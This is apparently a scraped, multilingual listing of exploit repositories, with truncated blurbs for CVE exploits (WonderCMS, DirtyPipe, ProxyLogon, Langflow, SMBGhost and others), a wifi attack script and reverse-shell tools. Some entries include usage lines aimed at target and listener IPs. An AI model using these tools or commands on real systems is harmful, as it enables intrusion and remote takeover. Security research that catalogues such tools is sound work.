Fu3l-F1lt3r

|\ \ |\ | |\ \ |\ / |\ \ | \ |\ \ \ /\ \ \\ ||\ /\ \ \ \ \ /|/|\ \ \ | \ ||\ /\ \ |\ \ \ \ \ \\ \ |\ \ \ \ \ \ |/ \ \ \ \ \ \ \ \ |\ \ \ \ \ | \ \ \\ \ \ \ \ \ | \ \ \ \ \ \ \ \ \ \ \ | \ \ \ |\ \ \ \ \ \ \ \ |\ \ || ||| ||| || | ||||| ||| ||| Un'implementazione in Rust di CVE 2018-16763 con...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 Strumento di Exploit RCE per WonderCMS CVE-2023-41425 Questo strumento offensivo di sicurezza basato su Python automatizza lo sfruttamento di una vulnerabilità di Remote Code Execution RCE in WonderCMS 4.3.2 , in particolare la CVE-2023-41425. Semplifica il processo di creazione di un modulo te...

moveit-payload-decrypt-CVE-2023-34362

moveit-payload-decrypt-CVE-2023-34362 Este script shell, dado o OrgKey 0, irá analisar o cabeçalho dos artefatos base64 encontrados nos logs do MOVEit e descriptografar o objeto Serializado usado um payload...

DirtyPipePython

dirty.py Descrição Este é um exploit para a vulnerabilidade do kernel Linux CVE-2022-0847 DirtyPipe descoberta por Max Kellerman. Este código combina dois POCs existentes de DirtyPipe em um só: febinrev Sobrescreve o binário sudo para obter diretamente um shell root eremus-dev Uma cópia direta do...

RCE-CVE-2025-3248

Authentifizierte CVE-2025-3248 Langflow Remote Code Execution Dieses Python-Skript nutzt CVE-2025-3248 aus, um beliebige Befehle auszuführen oder eine Reverse Shell auf einem verwundbaren System zu starten. Für die Nutzung dieses Exploits ist eine Authentifizierung erforderlich. Funktionen...

wifi-hacker

Shell-Skript zum Angreifen drahtloser Verbindungen mit integrierten Kali-Tools. Unterstützt alle Sicherheitsstandards WEP, WPS, WPA, WPA2 !...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - Authentifizierte RCE Dieses PoC-Skript basiert auf dem Exploit von Fellipe Oliveira. Funktionen : Lädt C-Code direkt nach /hardware hoch anstatt eines .st-Datei-Uploads Stellt das Standardprogramm vor dem Hochladen der Reverse Shell wieder her Verbesserte...

CVE-2020-0796

CVE-2020-0796 動作するエクスプロイトPoC CVE-2020-0796 - リバースバインドシェル Python2.7でテスト済み インストール方法: pip install -r requirements.txt 実行方法: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2004-1561

CVE-2004-1561 Icecast Header Overwrite buffer overflow RCE Aggiornamento per 568-edit.c Sono riuscito a far funzionare l'exploit originale. Modificato secondo questo. Utilizzo per 568-edit.c root@kitploit: root@Kali:/TryHackme/Ice gcc 568-edit.c -o 568 root@Kali:/TryHackme/Ice ./568 192.168.92.13...

poc_proxylogon

pocproxylogon Microsoft Exchange ProxyLogon PoC CVE-2021-26855 Dieses Skript wurde ursprünglich von celesian erstellt, um diese CVE auszunutzen. Dann habe ich es aktualisiert, um einen Exchange-Server auszunutzen, der anfällig für SSRF ist, aber es bekam eine Shell durch Ausnutzung der...

ICG-AutoExploiterBoT

ICG-AutoExploiterBoT ❗ Bearbeiten Sie Zeile 44 und fügen Sie Ihre E-Mail-Adresse hinzu, um den Joomla-Admin-Exploit hinzuzufügen Verwenden Sie outlook.com Mail! ✔️ :warning:Hinweis! : Wir übernehmen keine Verantwortung für illegale Nutzung. AutoExploiter funktioniert derzeit nicht! Bitte warten Si...

CVE-2022-22947

منسوخ من Original: https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947...

CVE-2020-14882

CVE-2020-14882: Deployare webshell in memoria di Behinder Come noto, CVE-2020-14882 è una vulnerabilità di autorizzazione non autenticata che consente a un attaccante di eseguire codice arbitrario su un server WebLogic vulnerabile. I PoC pubblici online sfruttano caratteri illegali per bypassare...

cve-2023-42115

CVE-2023-42115: Script di Exploit e Generatore di Payload Questo repository contiene due script Python: 1. exploit.py : Uno script per sfruttare la vulnerabilità CVE-2023-42115. 2. generatepayload.py : Uno script per generare payload di reverse shell. Prerequisiti Prima di eseguire gli script,...

CVE-2022-25949

CVE-2022-25949 Un exploit vieux de plusieurs années d'une vulnérabilité d'élévation de privilèges locale EoP dans le pilote KWatch de Kingsoft Antivirus, version 2009.3.17.77. 2009..? J'ai signalé le problème en janvier 2014 et j'ai été informé du CVE plus de 8 ans plus tard. J'ai décidé de mettr...

CVE-2024-23346-rust-exploit

Uno script di exploit in Rust per CVE-2024-23346. Come mostrato sotto, il POC sfrutta la vulnerabilità di code injection ed esegue comandi shell remoti come in un Terminale. poc.webm Passi per eseguire l'exploit: Esegui direttamente con Cargo cargo run -- --help cargo run -- --target...

CVE-2023-42791_CVE-2024-23666

Fortimanager-Exploitation-Skripte: unzureichende Autorisierungsprüfungen CVE-2024-23666 und uneingeschränkter Datei-Upload CVE-2023-42791 Es werden zwei Exploitation-Skripte bereitgestellt, die diese Schwachstellen ausnutzen: rce.py: Stellt eine Reverse Shell bereit oder fügt von einem...

CVE-2023-32413

Exploit per macOS LPE CVE-2023-32413 / ZDI-23-845 / Pwn2Own Vancouver 2023 Questo è il codice dell'exploit che è stato mostrato al Pwn2Own Vancouver 2023 https://youtu.be/c0cS4R0ja-I?t=180. Questo codice sfrutta CVE-2023-32413 per ottenere privilegi di root su qualsiasi macOS vulnerabile. La...

mediator

Mediator è una reverse shell crittografata end-to-end in cui l'operatore e la shell si connettono a un server "mediatore" che funge da ponte tra le connessioni. Ciò elimina la necessità per l'operatore/handler di configurare il port forwarding per ascoltare la connessione. Mediator permette anche...

HeimShell

HeimShell CVE-2023-51803 HeimShell ist ein Exploit für CVE-2023-51803, der eine beliebige Datei-Upload-Schwachstelle in LinuxServer.io Heimdall ≤ 2.5.6 ausnutzt. Es erkennt automatisch die Zielversion und warnt entweder vor der Ausnutzbarkeit oder holt remote eine PHP-Shell, die durch SHELLURL...